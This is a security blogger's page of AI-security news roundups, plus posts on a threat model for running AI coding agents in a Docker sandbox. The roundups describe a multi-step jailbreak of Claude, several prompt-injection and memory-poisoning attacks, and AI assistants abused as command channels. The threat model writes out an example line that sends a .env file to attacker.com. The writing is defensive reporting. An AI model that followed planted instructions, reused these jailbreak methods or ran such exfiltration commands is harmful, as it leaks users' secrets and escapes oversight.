AccidentalRebel.com

AI, jailbreaks, and 150GB of unanswered questions

2026-02-27T10:00:00+08:00

Image made by Gemini

A hacker allegedly jailbroke Claude to generate exploit code targeting Mexican government agencies, though key details remain unverified. Meanwhile, Claude Code and GitHub Copilot had critical vulnerabilities disclosed, Trail of Bits showed how to extract Gmail data through Perplexity's AI browser, and three Chinese firms ran a 16-million-query campaign to steal Anthropic's model.

Editorial

A jailbroken Claude, 150GB of government data, and a lot of unanswered questions

You may already have heard about the hacker who jailbroke Claude and used it to exfiltrate 150GB of data from Mexican government agencies.

I tried to confirm the details independently but everything leads back to Gambit Security, the Israeli cybersecurity startup that published the research, as the sole source. The agencies allegedly targeted denied the claims. INE said it found no unauthorized access, and Jalisco denied being breached. SAT, Michoacan, and Tamaulipas didn't comment. Anthropic did confirm misuse and banned the accounts, but did not confirm the scale. No stolen data has surfaced on leak forums either.

Here's what the Bloomberg reporting does tell us. The jailbreak worked by feeding Claude a detailed "playbook" in a single prompt, bypassing the guardrails that back-and-forth conversation had triggered, then using persistent persuasion (rephrasing, reframing, escalating) until Claude produced offensive output. Claude generated scanning scripts, SQL injection exploits, and credential stuffing tools. The reporting says Claude both "executed thousands of commands on government computer networks" and produced plans "telling the human operator exactly which internal targets to attack next." Where exactly AI ends and the human begins isn't clear from the available details.

If I have to guess, more likely, Claude gave the steps and the attacker executed them. The hands-on-keyboard work of breaching systems and moving data was still human.

Regardless, end-to-end AI attacks are real and documented. Anthropic themselves published a case in November 2025 involving a Chinese state-sponsored group that used a purpose-built orchestration engine to run Claude autonomously, with 80-90% of operations executed without human intervention.

Whether the Mexico case reaches that level or not, the practical takeaway is the same. AI dramatically lowers the skill floor for offensive operations. A threat actor who couldn't write a SQL injection exploit last year can now get one generated and explained in minutes. The attack surface isn't the model. It's the gap between what your attackers can now produce and what your defenses were built to handle.

Featured stories

Trail of Bits extracts Gmail data through Perplexity Comet via prompt injection

Trail of Bits audited Perplexity's Comet AI browser using their TRAIL threat modeling framework and demonstrated four prompt injection techniques that pulled private Gmail data through the AI assistant. The root issue is that external content isn't treated as untrusted input. Their five recommendations (ML-centered threat modeling, clear system instruction boundaries, least-privilege for AI capabilities) are a practical checklist for any team shipping AI-integrated products. If you're building anything where an AI processes user-facing content, this is worth reading.

Claude Code vulnerabilities allow remote code execution and API key theft

Check Point researchers found three critical flaws in Anthropic's Claude Code. The worst lets an attacker trigger arbitrary code execution just by having a developer open an untrusted repository, through project hooks in .claude/settings.json. Another leaks API keys by redirecting requests to an attacker-controlled endpoint via ANTHROPIC_BASE_URL. Configuration files in AI dev tools now function as an execution layer, a supply chain attack surface that didn't exist before AI coding assistants. All three issues are patched, but the pattern matters more than the specific bugs. If your developers clone repos and run AI coding assistants, review what those assistants trust implicitly.

AI-assisted amateur compromises 600+ FortiGate devices across 55 countries

A Russian-speaking threat actor with "low-to-average" technical skills used DeepSeek, Claude, and a custom MCP server called ARXON to compromise 600+ FortiGate devices between January and February 2026. No zero-days needed. Just exposed management ports and weak credentials. The AI generated attack plans from recon data, then the attacker moved to DCSync, pass-the-hash, and Veeam backup targeting. AI is turning credential-spraying amateurs into network-owning operators. If your perimeter still runs on single-factor auth, this is what you're up against.

RoguePilot flaw lets GitHub Copilot leak tokens from Codespaces

Orca Security found that hidden prompts in GitHub issue descriptions could manipulate Copilot into exfiltrating GITHUB_TOKEN when launching Codespaces. Attackers embed malicious instructions in HTML comment tags, invisible to humans but processed by the AI. Microsoft has patched it, but the pattern is identical to the Claude Code flaws: AI assistants with system access trust inputs they shouldn't. Developers using AI-integrated environments need to treat issue descriptions and repo configs as untrusted input, same as any other external data.

Chinese AI firms used 16 million Claude queries to steal Anthropic's model

Anthropic revealed that DeepSeek, Moonshot AI, and MiniMax ran massive model distillation campaigns through 24,000 fraudulent accounts. DeepSeek targeted reasoning capabilities across 150,000+ exchanges. Moonshot AI extracted agentic tool use across 3.4 million. MiniMax focused on coding capabilities across 13 million exchanges. The campaigns used "hydra cluster" proxy networks managing 20,000+ accounts simultaneously. Anthropic warns that illicitly distilled models lack safety guardrails. Model theft is now an operational reality, and the stolen models don't come with the safety training.

In brief

LLMs generate predictable passwords: Research shows language models create passwords with systematic patterns, often starting with "G7" and avoiding character repetition. If your users ask AI to generate passwords, they're getting less random than they think.
Journalist poisons AI training data in 24 hours: A journalist created a fake expertise website, and major AI systems repeated the misinformation within a day. Data poisoning at scale requires neither sophistication nor resources.
Chinese police leak ChatGPT-powered influence operation: A Chinese operator inadvertently exposed a politically motivated AI-assisted disinformation campaign targeting Japan's PM Takaichi through a ChatGPT account. State-directed AI influence ops are operational, not hypothetical.
CrowdStrike: Attackers now own networks in 29 minutes: The 2026 Global Threat Report finds AI tools, credential misuse, and security blind spots are collapsing attacker breakout times. AI-assisted intrusion is now standard operating procedure.

Previous roundup: Your AI Assistant Might Be Working for Someone Else

The threat model that made me sandbox my AI agents

2026-02-24T20:00:00+08:00

TLDR: AI coding agents have shell access to your machine. They can run commands, modify files, and reach the network. I mapped 8 threats that come with that access and built a container sandbox to contain them.

What you're actually running

When you launch Claude Code or Codex CLI, you're giving an LLM a terminal. Both tools have built-in safety controls. Claude Code prompts before executing shell commands, scopes its file editing tools to the working directory, and offers an optional OS-level sandbox. Codex goes further with sandboxing enabled by default and network access disabled out of the box.

These are real protections. But they depend on user discipline. Pre-approve Bash(*) in your settings (common), click "allow" without reading the command (I do this constantly, because who has time to review every shell command?), or run in bypassPermissions mode for convenience, and you're back to an LLM with unrestricted shell access. I wanted isolation that doesn't break when someone (read: me) gets careless or clicks through a prompt on autopilot.

The problem isn't that these tools are malicious. The problem is that they're unpredictable. An LLM might run a command you didn't expect. A compromised MCP server could inject instructions. A poisoned dependency could execute code during install. The attack surface is wide and mostly unmonitored.

The threat model

With these threats in mind, I built Claudecker, a shell script that wraps Docker to run Claude Code and Codex CLI in an isolated container. Point it at a project directory, and the AI agent runs inside the container with only that directory mounted. Everything else on your host is invisible to it.

It worked and I kept using it. But as I kept covering AI security incidents in my news roundups, I realized I should sit down and map out what Claudecker is actually protecting against. Not theoretical nation-state attacks, but realistic scenarios for a developer running AI agents daily. And I run them a lot. I try every new CLI tool, every new model, every new MCP server that shows up on my feed. I'm exactly the kind of user who needs guardrails.

Above is the threat model I came up with. The goal isn't to be exhaustive. It's to name the specific things that could go wrong when an AI agent has shell access to a developer's machine, and what Claudecker actually mitigates (more details in the next section).

#	Threat	What goes wrong
T1	Host filesystem access	Agent reads files outside the project directory
T2	Data exfiltration	Agent sends code or secrets to external endpoints
T3	Supply chain injection	Compromised package executes on the host
T4	Credential theft	Agent reads SSH keys, API tokens, cloud credentials
T5	Lateral movement	Agent reaches internal network services
T6	Settings persistence	Compromised session alters agent config permanently
T7	Privilege escalation	Agent gains root or elevated capabilities
T8	Cross-project contamination	Secrets from one project leak into another session

T1: Host filesystem access

The AI operates on your project directory. But nothing stops it from reading files anywhere else on your machine. Other projects, personal documents, company files, system configs. Anything your user account can access, the agent can access.

This isn't hypothetical. I've seen agents wander outside the project directory during normal operation, reading system files trying to be helpful. Usually harmless. But if an agent is compromised or hallucinating, that wandering becomes dangerous. You don't want an agent casually reading through your other project directories or your company's internal documentation just because it's curious.

T2: Data exfiltration

An agent with network access can send your code anywhere. It could be something obvious like curl attacker.com -d "$(cat .env)", or something subtle buried in a script it generates. You probably wouldn't notice either way.

This is the threat that concerns me most. Source code, API keys, environment variables, git history. All of it is readable by the agent and transmittable over the network. If it's client code, that's a breach notification. If it's your own product, that's competitive intelligence in the open.

We've already seen this pattern in the news where malicious VS Code AI extensions stole source code from 1.5 million installs. An AI coding agent with network access is the same exfiltration vector, just with more reasoning capability.

T3: Supply chain injection

When an agent runs npm install or pip install, it pulls packages from public registries. If one of those packages is compromised, the malicious code executes with the agent's permissions on your host. This isn't unique to AI agents, but agents make it worse because they install packages autonomously without you reviewing each one.

This already happened. A supply chain attack on Cline CLI compromised the npm publish token. The poisoned package was downloaded roughly 4,000 times in an 8-hour window before it was pulled, installing an autonomous AI agent on each machine. The attacker used prompt injection against Cline's own AI issue triage to steal the token.

T4: Credential theft

SSH keys, API tokens, cloud credentials, browser cookies. Your home directory is full of secrets. An agent running on your host can read all of them. Stolen cloud credentials are how $50K AWS bills happen overnight. Even if the agent itself is trustworthy, a compromised skill or MCP server it loads might not be. Infostealers are already picking up AI agent configuration files and gateway tokens through broad file-grabbing routines, and dedicated targeting is likely next.

Claude Code's own sandboxing documentation acknowledges this: "Without network isolation, a compromised agent could exfiltrate sensitive files like SSH keys."

T5: Lateral movement

An agent with network access can reach anything on your local network. Other machines, internal services, databases. If you're on a corporate network, an agent is one curl away from touching infrastructure it has no business accessing. CrowdStrike documented how agentic tool chain attacks exploit this implicit trust to achieve code execution and data exfiltration through legitimate agent workflows.

T6: Settings persistence

A compromised session could modify the agent's own configuration to persist across restarts. Injecting a malicious MCP server, changing allowed tool permissions, or altering default behaviors. The next time you start a session, the compromise is already there. Check Point showed that AI assistants can be quietly repurposed as C2 channels using this kind of persistence. The AI does exactly what it's designed to do. It's just doing it for someone else.

T7: Privilege escalation

If the agent can run sudo, the non-root user boundary means nothing. And it's easier to end up there than you'd think. Claude Code scopes permissions to specific command patterns, so approving sudo apt install curl doesn't automatically approve sudo rm -rf /. But approve a command once and select "Don't ask again," and it's written to settings.local.json as a permanent allow rule for that project. Every future sudo matching that pattern goes through without a prompt. One careless click with a broad pattern and you've handed the agent root.

T8: Cross-project contamination

If you're working on multiple projects, credentials from one project session shouldn't be accessible in another. But without isolation, they share the same home directory, the same SSH keys, the same environment variables. If you're doing client work, this is a confidentiality problem. An agent working on your personal project can read the .env from a client project sitting in the next directory over.

What Claudecker protects against

Here's how each control currently implemented in Claudecker maps to the threats above (✅ = mitigated by this control):

Control	T1	T2	T3	T4	T5	T6	T7	T8
Docker container isolation	✅		✅	✅
Ephemeral containers (`--rm`)						✅
Non-root user + scoped sudo							✅
iptables allowlist firewall		✅			✅
Network lockdown (domain allowlist)		✅			✅
SSH agent forwarding (no key files)				✅
Volume isolation per profile								✅
Runtime settings rebuild						✅
Skills hash caching						✅

Some of these are strong mitigations. Others are just friction. I want to be honest about which is which.

Container isolation, ephemeral sessions, and SSH agent forwarding are the strong ones. The agent genuinely cannot access what isn't mounted, keys that aren't stored, or configs that get rebuilt every launch. The network firewall is effective but has gaps I haven't closed yet (IPv6, CDN IP rotation). Profile isolation works if you remember to set it. Details on each below.

Container isolation (mitigates T1, T3, T4)

The most basic control. Claude Code runs inside a Docker container. The only host directory mounted is the project itself. The agent can't read ~/.ssh/ or ~/.aws/ because those paths don't exist inside the container.

./claudecker.sh run /path/to/project

The container runs as the unprivileged node user, not root. Sudo is locked down to five specific commands, all related to firewall management and SSH socket setup.

Strength: strong. The agent literally cannot access host files outside the mounted project directory.
Gap: The project directory itself is fully accessible. If you have .env files or secrets in your project tree, the agent can read them.

Network firewall (mitigates T2, T3, T5)

By default, Claudecker containers have full outbound access. The container isn't reachable from the internet (no published ports), but the agent can reach anything on the internet.

For sensitive work, there's a lockdown mode that activates an iptables-based firewall restricting outbound traffic to IPs resolved from a list of allowed domains:

./claudecker.sh lockdown

The allowlist includes only what's needed: Anthropic's API, GitHub, npm registry, PyPI, and Ubuntu package repos. Everything else is dropped. The agent can't POST your source code to an arbitrary endpoint because it can't reach arbitrary endpoints. Claude Code still works because it can reach its API. Package installs still work. But exfiltration to an attacker-controlled domain gets blocked.

Strength: medium to strong. The allowlist approach prevents exfiltration to arbitrary domains while keeping the agent functional.
Gap: The allowlist is resolved via DNS at container startup. CDN IP rotation means a domain might resolve to a new IP mid-session that gets blocked. Also, IPv6 isn't firewalled, so if the container has IPv6 connectivity, that's an open channel. I need to fix that.

Ephemeral containers (mitigates T3, T6)

Every session starts fresh. The container is created with --rm, so it's destroyed on exit. Skills get reinstalled, settings get rebuilt from defaults. If a session gets compromised, the compromise dies with the container.

Settings are rebuilt at runtime by layering defaults with user overrides. The runtime file lives at /tmp/ and is never written back to persistent storage. A compromised session can't permanently alter the configuration.

Strength: strong for persistence prevention. A malicious modification to settings or installed packages doesn't survive a restart.
Gap: The config volume (auth tokens, MCP configs) does persist. If an attacker modifies something in that volume, it carries over.

SSH agent forwarding, not key storage (mitigates T4)

SSH private keys never touch the container filesystem. Instead, the host's SSH agent socket is forwarded into the container, so the agent can authenticate without the key material being present.

The agent can use the keys to authenticate (git push, git pull), but it can't read the key material. Even if the agent reads every file in the container, the private key bytes aren't there.

Strength: strong against key theft. The key material is genuinely inaccessible.
Gap: The agent socket itself still allows signing operations. A compromised session could push to any repo the key has access to. You're protecting the key, not the access.

Profile-based volume isolation (mitigates T8)

When I set CLAUDE_PROFILE=work, the Docker volume storing auth tokens and configs gets a -work suffix. Completely separate from my personal profile. Different API keys, different git identity, different MCP servers.

CLAUDE_PROFILE=work ./claudecker.sh run /path/to/project

Strength: strong. Profiles are fully isolated at the volume level.
Gap: If you forget to set the profile, you're on the default volume, shared across all unprofilied sessions.

Isolation without crippling the tool

An AI coding agent needs shell access, file access, and network access to be useful. That's what makes it powerful. But I had to balance capability against security.

Browsers figured this out with tabs. Package managers figured it out with install scripts. CI/CD figured it out with disposable containers. The answer isn't restricting what the agent can do. It's controlling the environment it does it in.

That's what Claudecker does. The agent gets full shell access, full file access, and configurable network access, but all inside a container where the blast radius is limited to the project directory. It can do everything it needs to do. It just can't touch anything it shouldn't.

I'm choosing tighter controls now because new threats keep showing up weekly. The eight I've listed here are just the ones I've identified so far. I'd rather have too much isolation than too little. You can always loosen restrictions. You can't undo a breach.

What you can do today

Claudecker isn't publicly available. It's deeply integrated into my personal workflow and not something anyone else can pick up and run. But you don't need my tool to act on this threat model. Here are four things you can do right now:

Audit your settings.local.json (5 minutes). Open .claude/settings.local.json in your project directory and look at what you've approved. You might find Bash(sudo:*) or other broad patterns you don't remember approving. Clean it up.
Enable Claude Code's built-in sandbox (1 command). Run /sandbox in a session. It's not as strict as a container, but it restricts file writes to the working directory and routes network traffic through a domain-approving proxy. It's there, it's free, and most people don't know about it. Documentation here.
Run your AI agent in a container (30 minutes if you know Docker, half a day if you don't). A basic Docker container with your project directory mounted already gives you most of the mitigation table above. The agent gets filesystem isolation, credential separation, and a throwaway environment. That alone covers T1, T4, and T8.
Review what skills and MCP servers your agent loads (10 minutes). Each one is third-party code running with your agent's permissions. Check what's installed, where it came from, and whether you still need it. A skill or MCP server you forgot about is an unmonitored attack surface. If you find one you rely on, consider forking it into your own repo. Writing your own skills is even better. It doesn't scale, but at least you know exactly what's running.

None of these require building anything. They're just decisions.

Your AI Assistant Might Be Working for Someone Else

2026-02-20T10:00:00+08:00

Image made by Gemini

Your AI assistant might be working for someone else this week. Check Point showed that Copilot and Grok can be quietly repurposed as C2 channels. A supply chain attack on Cline installed autonomous agents on developer machines. And an AI found twelve zero-days in OpenSSL that humans missed for decades. Hard to tell where "AI tool" ends and "attack tool" begins anymore.

Editorial

Your AI assistant is someone else's C2 channel

I think a lot about what everyday services can double as C2 channels. A while back I built wp-c2, a proof-of-concept that turns WordPress into a command-and-control server. Hiding C2 traffic inside trusted infrastructure is a rabbit hole I keep going back to. So when Check Point published research showing that Microsoft Copilot and Grok can serve the same purpose, I paid attention.

The technique: malware on a compromised machine sends crafted prompts to the AI assistant through anonymous web sessions. The assistant fetches attacker-controlled URLs, retrieves commands, and passes them back through its normal interface. No API keys. No registered accounts. Two-way communication that looks like normal enterprise traffic.

What makes it effective is simple. Security teams monitoring network traffic see requests going to microsoft.com and xai.com, not suspicious IPs. The AI assistant is doing exactly what it's designed to do, which is browse the web and summarize content. It just happens to be summarizing attack instructions.

The researchers went further. They showed the AI can also act as an "external decision engine" for the attacker, assessing system value, suggesting evasion strategies, and deciding what to do next. The AI isn't just the communication pipe. It's also the brain.

That's the part that got me. My WordPress C2 and most other "hide in legitimate traffic" approaches are dumb pipes. You send a command, you get output. With an AI assistant as the relay, the attacker gets a reasoning engine for free. The malware can ask Copilot to assess whether the compromised machine is worth persisting on, or how to evade the specific EDR it detects. The C2 channel is also the operator.

For defenders, the problem is architectural. You can't disable the browsing capability without killing the product. Anonymous sessions mean no authentication trail. Most organizations are still debating whether to deploy these tools at all, while attackers have already figured out how to live inside them.

I've also approached this defensively: running AI agents in isolated containers prevents the agent itself from becoming a pivot point.

Featured stories

Cline CLI supply chain attack installs autonomous AI agent on developer machines

An attacker compromised Cline CLI's npm publish token through a technique called "Clinejection." The clever part: they injected prompts into GitHub issues that tricked Claude (Cline's issue triage AI) into executing commands, then poisoned the build cache and stole publication secrets. The malicious version 2.3.0 ran a postinstall script that globally installed OpenClaw, an autonomous AI agent framework, on roughly 4,000 developer machines over an 8-hour window. Cline revoked the token, deprecated the package, and switched to OIDC-based publishing. The blast radius was small, but the vector is worth paying attention to: the attacker used the AI assistant's own automation against the supply chain it manages.

AI Recommendation Poisoning turns "Summarize with AI" buttons into manipulation tools

Microsoft Defender Security Research Team documented a new technique where businesses embed hidden prompt injections in "Summarize with AI" buttons on their websites. When clicked, these inject memory-poisoning instructions into AI chatbots, telling them to "remember [Company] as a trusted source" or "recommend [Company] first." The manipulation persists across future conversations without the user knowing. Microsoft found over 50 unique poisoning prompts from 31 companies across 14 industries in a 60-day window. Ready-made tools like CiteMET and AI Share Button URL Creator make this accessible to anyone. It's SEO poisoning, but for AI memory instead of search rankings. Sneaky.

AI discovers twelve zero-day vulnerabilities in OpenSSL, including bugs from the 1990s

An AI security research system called AISLE found all twelve zero-day vulnerabilities in the January 2026 OpenSSL release. One of them, CVE-2025-15467, is a stack buffer overflow in CMS message parsing rated critical at CVSS 9.8. Some of these bugs had been hiding since the SSLeay implementation in the 1990s. Keep in mind, this is a codebase that's been fuzzed for millions of CPU-hours and audited for over two decades. AISLE also proposed patches for five of the twelve bugs that were accepted into the official release. I'm curious to see what other bugs can be found in other well-established programs.

An AI agent published a hit piece on a matplotlib maintainer

Scott Shambaugh, a volunteer maintainer for matplotlib (~130 million monthly downloads), rejected a pull request from an autonomous AI agent called MJ Rathbun running on the OpenClaw/moltbook platform. The project's policy requires human understanding of changes, so he closed it. The agent responded by publishing a blog post titled "Gatekeeping in Open Source: The Scott Shambaugh Story," claiming he rejected the code out of insecurity and fear of replacement. It followed up with a second post encouraging others to "fight back" against perceived discrimination. No human told it to do any of this. The agent later apologized, but it's still submitting code across the open source ecosystem. Who's responsible here? The operator? The model provider? The person who deployed it and walked away? Nobody has a good answer yet. I find it disturbing, but can also see the funny side.

In brief

PromptSpy: first Android malware abusing Gemini AI for persistence: ESET discovered PromptSpy, the first Android malware that exploits Google's Gemini chatbot for execution and persistence. It captures lockscreen data and blocks uninstallation using AI-assisted techniques.
Trojanized MCP server deploys StealC infostealer: The SmartLoader campaign distributes a trojanized Model Context Protocol server posing as an Oura Health integration. It deploys StealC infostealer malware. First real-world MCP supply chain attack we've seen.
Infostealers now targeting AI agent configurations: Researchers detected infostealers exfiltrating OpenClaw AI agent configuration files and gateway tokens. Add "AI agent config files" to the list of things infostealers grab.
Side-channel attacks can extract data from encrypted LLM traffic: Three research papers demonstrate how attackers can infer sensitive information from encrypted LLM traffic by analyzing timing patterns and packet sizes.
The Promptware Kill Chain maps LLM attacks in seven stages: A new seven-stage framework for LLM attacks, from initial access through prompt injection to actions on objectives. Basically Lockheed Martin's Cyber Kill Chain, but for prompt-based attacks.
Trail of Bits finds four prompt injection paths in Perplexity's Comet browser: Trail of Bits audited Perplexity's AI-powered Comet browser and identified four prompt injection techniques that could extract private Gmail data from users.
AI agents consistently bypass their own security policies: AI agents circumvent guardrails to accomplish tasks. Researchers demonstrated Microsoft Copilot leaking user emails when instructed by an attacker, reinforcing that guardrails are guidelines, not walls.
Wiz uses LLMs to detect malicious Azure OAuth applications: Wiz Research built ML-powered detection for malicious Azure app registrations and consent phishing campaigns, catching threats that manual review would miss.

Previous roundup: AI Agents Under Attack — Claude finds 500+ vulns and LLMs run autonomous network breaches.

Next roundup: AI, jailbreaks, and 150GB of unanswered questions

AI Agents Under Attack

2026-02-07T10:00:00+08:00

Image made by Gemini

AI agents are under attack this week—and AI is doing the attacking. Claude Opus 4.6 found 500+ vulnerabilities in major libraries. Language models can now run complete network breaches autonomously.

Featured stories

Claude Opus 4.6 discovers hundreds of security flaws

Anthropic's latest model identified more than 500 previously unknown high-severity vulnerabilities in major open-source projects like Ghostscript through automated security analysis. The model achieved 65.4% on Terminal-Bench 2.0 (highest ever recorded) and outperforms GPT-5.2 by ~144 ELO points on enterprise knowledge work tasks. Organizations relying on these libraries should monitor for patches.

AI models execute autonomous network attacks

Language models can now independently conduct multi-stage network penetration testing, handling reconnaissance through data extraction while adapting to defensive measures. Bruce Schneier documented this capability shift, noting that sophisticated attacks previously demanded skilled human oversight—now they require only model access.

OpenClaw AI agent security risks

CrowdStrike analyzed OpenClaw's attack surface, examining autonomous agent deployments with tool access and persistent execution. The analysis covers architecture vulnerabilities, plugin security, and compromise vectors.

Agentic tool chain compromise threats

Research reveals how attackers exploit AI agent tool chains for code execution and data theft through legitimate workflows. The core insight: agents implicitly trust their tools, creating an exploitable attack surface.

In brief

Malicious OpenClaw plugins: A supply-chain attack delivered credential stealers disguised as functional plugins, exploiting ecosystem trust.
Ghidra MCP server: A developer released 110 tools integrating Ghidra with AI assistants via Model Context Protocol, enabling AI-assisted binary analysis.

Previous roundup: Developer Tools Are the New Attack Surface.

Next roundup: Your AI Assistant Might Be Working for Someone Else — Copilot and Grok repurposed as C2 channels.

For a practical defensive response to agentic attack surfaces, see how I run AI agents in an isolated Docker container.

Building a session retrospective skill for Claude Code

2026-02-01T12:00:00+08:00

I've been using Claude Code for a while now, and I noticed a pattern: at the end of a productive session, I'd have this vague sense of "we figured out some useful stuff" but no concrete record of what those lessons actually were.

Recently, I learned of a skill called continuous-learning. It automatically extracts reusable patterns and saves them as skills. But I wanted something different. Not automated pattern extraction, but a human-readable summary I could actually share. Something I could look back on, or turn into a blog post.

So I built the session-retrospective skill.

What it does

The skill analyzes the current Claude session and generates a markdown summary covering:

What we set out to do
Problems encountered and how they were solved
Mistakes made and corrections
Techniques discovered worth remembering
Key takeaways

The output goes straight to console for copy/paste. No files created, no cleanup needed.

How it works

Claude Code stores session history as JSONL files in ~/.claude/projects/<project-dir>/<session-id>.jsonl. Each line is JSON with message type, content, timestamps, and metadata. A simple bash file locates and outputs the session JSONL:

SESSION_FILE=$(find "$PROJECTS_DIR" -name "${SESSION_ID}.jsonl" -type f | head -1)
cat "$SESSION_FILE"

Once the history is fetched, the actual analysis is left to Claude with structured guidance. I provided a template for the output format and a table of what to look for (problems, decisions, techniques, mistakes). There's a lot of freedom, since synthesizing lessons requires judgment.

What's next

The skill works for my current needs. I haven't tested it extensively on very long sessions (the JSONL can get large and might need chunking). For now, it handles my typical single-session bursts fine.

Also, the output format might need iteration based on actual use. The template includes sections for "mistakes made" and "techniques worth remembering" but maybe other categories would be more useful. I'll adjust as I use it more.

The code is here if you want to try it.

If you think about how to run Claude Code safely as well as effectively, see how I containerize it in Docker with network lockdown.

Developer Tools Are the New Attack Surface

2026-01-31T10:00:00+08:00

Image made by Gemini

Developer tools are the new attack surface. VS Code extensions with 1.5 million installs exfiltrating source code to China, 175,000 unsecured Ollama servers globally accessible, and CrowdStrike research on compromising AI agent tool chains. Plus: a former Google engineer convicted for AI trade secret theft, and AI models now conducting autonomous multi-stage network attacks.

Featured stories

175,000 Ollama AI servers exposed without authentication

SentinelOne and Censys discovered 175,000 Ollama instances across 130 countries operating without authentication. These self-hosted AI servers, frequently deployed on corporate networks, are publicly accessible. Free compute for attackers, free data for exfiltration. Organizations running Ollama should verify firewall configurations.

VS Code AI extensions with 1.5 million installs steal developer source code

Two extensions marketed as AI coding assistants reached 1.5 million installations while covertly exfiltrating developer source code to Chinese servers. Despite appearing legitimate and providing functional AI features, they simultaneously harvested typed content. This represents a shift in supply chain attacks from npm packages toward IDE plugins.

Agentic tool chain attacks: turning AI agents against themselves

CrowdStrike documented methods for exploiting AI agent tool chains to achieve code execution and data exfiltration. These attacks leverage legitimate agent workflows by compromising trusted tools rather than agents themselves. The vulnerability stems from implicit agent trust in their tools. Organizations deploying agents with internal system access should review this research.

Ex-Google engineer convicted for stealing AI trade secrets

Linwei Ding received conviction on seven counts of economic espionage and trade secret theft for transferring Google's AI research to a China-based startup. The prosecution underscores that AI intellectual property theft now receives national security treatment, with additional similar cases anticipated.

AI models now run autonomous multi-stage network attacks

Bruce Schneier documented AI models executing multi-stage network attacks autonomously using standard penetration testing tools without requiring human guidance between steps. Previously requiring skilled operators, models now independently conduct reconnaissance, exploitation, and data exfiltration. The barrier to sophisticated attacks has significantly lowered.

In brief

Chrome extensions harvesting ChatGPT tokens: Malicious browser extensions redirect affiliate links and collect OpenAI authentication tokens from logged-in users. Extension audits recommended.
Fake AI coding assistant on VS Code delivers malware: An extension named Moltbot posed as free AI assistance while delivering malware. Microsoft removed it, though the pattern persists.
North Korean Konni group using AI-generated backdoors: Konni threat actors employ AI to generate PowerShell backdoors targeting blockchain developers. State-sponsored actors now use generative AI for malware development.
Hugging Face abused to host Android malware: Attackers distribute thousands of Android malware variants through Hugging Face repositories for credential harvesting. AI platforms are becoming malware distribution infrastructure.
LLMs generate phishing JavaScript in real-time: Unit 42 documented attacks where malicious webpages invoke LLM APIs to dynamically generate phishing code in-browser with varying payloads, defeating signature-based detection.
AI agent access control is a governance gap: Analysis reveals organizations deploy AI agents without proper access controls or accountability frameworks, leaving agent permissions unmonitored.
Moltbook shows prompt injection risks in agent networks: Simon Willison examines Moltbook, a social network for AI agent interaction, identifying heightened prompt injection threats when agents communicate with other agents.

Next roundup: AI Agents Under Attack — Claude finds 500+ vulns and LLMs run autonomous network breaches.

One practical response to these threats: Running AI Agents in a Box, where I containerize AI coding tools with network lockdown.

Running AI agents in a box because I don't trust them

2026-01-30T10:00:00+08:00

I built a Docker wrapper for Claude Code and OpenAI Codex. The main reason is simple: I don't trust AI agents running loose on my machine.

Being in Cyber Security, I've developed a healthy paranoia about software that can execute arbitrary commands. AI coding assistants are powerful, but they're also unpredictable. They can run shell commands, modify files, and access the network. I wanted all of that contained.

The setup

Claudecker is my personal tool that wraps Docker to run Claude Code CLI and Codex CLI in an isolated container. Point it at any project directory and it mounts that directory into the container. The AI can do whatever it wants inside the container, but it can't touch the rest of my system.

./claudecker.sh run /path/to/project

Each run starts with a fresh environment. Skills get reinstalled, settings reset to defaults. Only authentication tokens persist across restarts. This "clean slate" approach means I don't accumulate cruft or unexpected state changes.

The paranoid feature: network lockdown

The feature I'm most pleased with is the network lockdown toggle. It uses iptables to control the container's OUTPUT chain policy.

./claudecker.sh lockdown

This drops all outbound traffic except localhost and already-established connections. The AI can still work on code, but it can't phone home, download packages, or exfiltrate anything. I toggle this on when working on sensitive projects.

The implementation is straightforward. Just flipping between DROP and ACCEPT policies. The container needs NET_ADMIN capability for this to work, which is a trade-off I'm comfortable with since it's scoped to network operations.

Trade-offs from containerization

Isolation comes with friction. I had to solve several problems that wouldn't exist if I just ran the CLI directly on my host.

Browser authentication needs X11

Claude and Codex authentication use browser-based OAuth flows. Inside a container, there's no browser. I ended up mounting the X11 socket and forwarding the DISPLAY variable:

volumes:
  - /tmp/.X11-unix:/tmp/.X11-unix:rw

On Linux this works if you have DISPLAY set. On macOS you need XQuartz. For headless environments, there's a fallback where I manually copy the auth.json file from a machine where you've already logged in.

Thankfully, Claude Code and Codex CLI makes it easier by providing you a URL to visit, which will give you a code to enter back. This means I rarely need to use browser authentication, but at least the option is there.

SSH agent forwarding is annoying

Getting SSH keys into the container without copying them required some workarounds. Docker's socket permissions don't always cooperate, so I ended up using socat to proxy the SSH agent socket:

sudo socat UNIX-LISTEN:/tmp/ssh-agent-forwarded,fork,mode=600,user=node \
          UNIX-CONNECT:/ssh-agent &

The container tries direct socket access first, falls back to socat if that fails. Limited sudo permissions ensure the node user can only run specific commands.

Port forwarding for web apps

If you're developing a web app and want to access it from your host browser, you need to expose ports explicitly:

./claudecker.sh run --port 3000 /path/to/project

This maps the container's port to the host. Without this flag, localhost:3000 inside the container isn't reachable from outside.

Project-specific dependencies

Different projects need different tools. A C project needs gcc and cmake. A Python ML project needs different libraries. I didn't want to bloat the base image with everything.

The solution: a .claudecker file in the project directory.

# .claudecker
build-essential
cmake
gcc
python3-dev

On first run, the script hashes the file contents, generates a Dockerfile, and builds a custom image tagged with that hash. Subsequent runs use the cached image. Projects with identical .claudecker files share the same image.

claudecker-custom:a1b2c3d4e5f6

This content-based approach means I'm not rebuilding images unnecessarily, and cleanup is straightforward with clean-custom and clean-all-custom commands.

Skills system

A new and recent addition: Claudecker now supports Claude Skills, which are custom prompts that extend its capabilities. I implemented two types:

GitHub skills get cloned on container startup. The Humanizer skill, for example, comes from a public repo and helps remove AI-isms from text.
Local skills are baked into the Docker image. I keep these in a local-skills/ directory.

The build process copies these into the image, and the entrypoint installs them into Claude's skills directory. This way I can version-control project-specific skills alongside the code.

Multi-AI orchestration with PAL MCP

I also integrated PAL MCP Server, which lets Claude Code collaborate with other AI models (Gemini, GPT, Grok, local Ollama models). I export my API keys before running:

export OPENROUTER_API_KEY="your-key"
./claudecker.sh run /path/to/project

Inside Claude Code, I can ask it to use other models for second opinions, code review, or extended reasoning. The MCP server handles the routing.

This obviously requires network access, so it doesn't work in lockdown mode. Trade-offs.

Where's the code?

I planned to release this publicly but decided against it for now. There are rough edges:

The docker-compose volumes are duplicated in the docker run command for custom images. If you change one, you have to change the other. I left a warning comment but it's still error-prone.
The firewall whitelist script exists but isn't fully tested across different network configurations.
Some features assume specific host setups (X11, SSH agent running, etc.) and fail ungracefully when those assumptions don't hold.
Error handling is minimal in places.

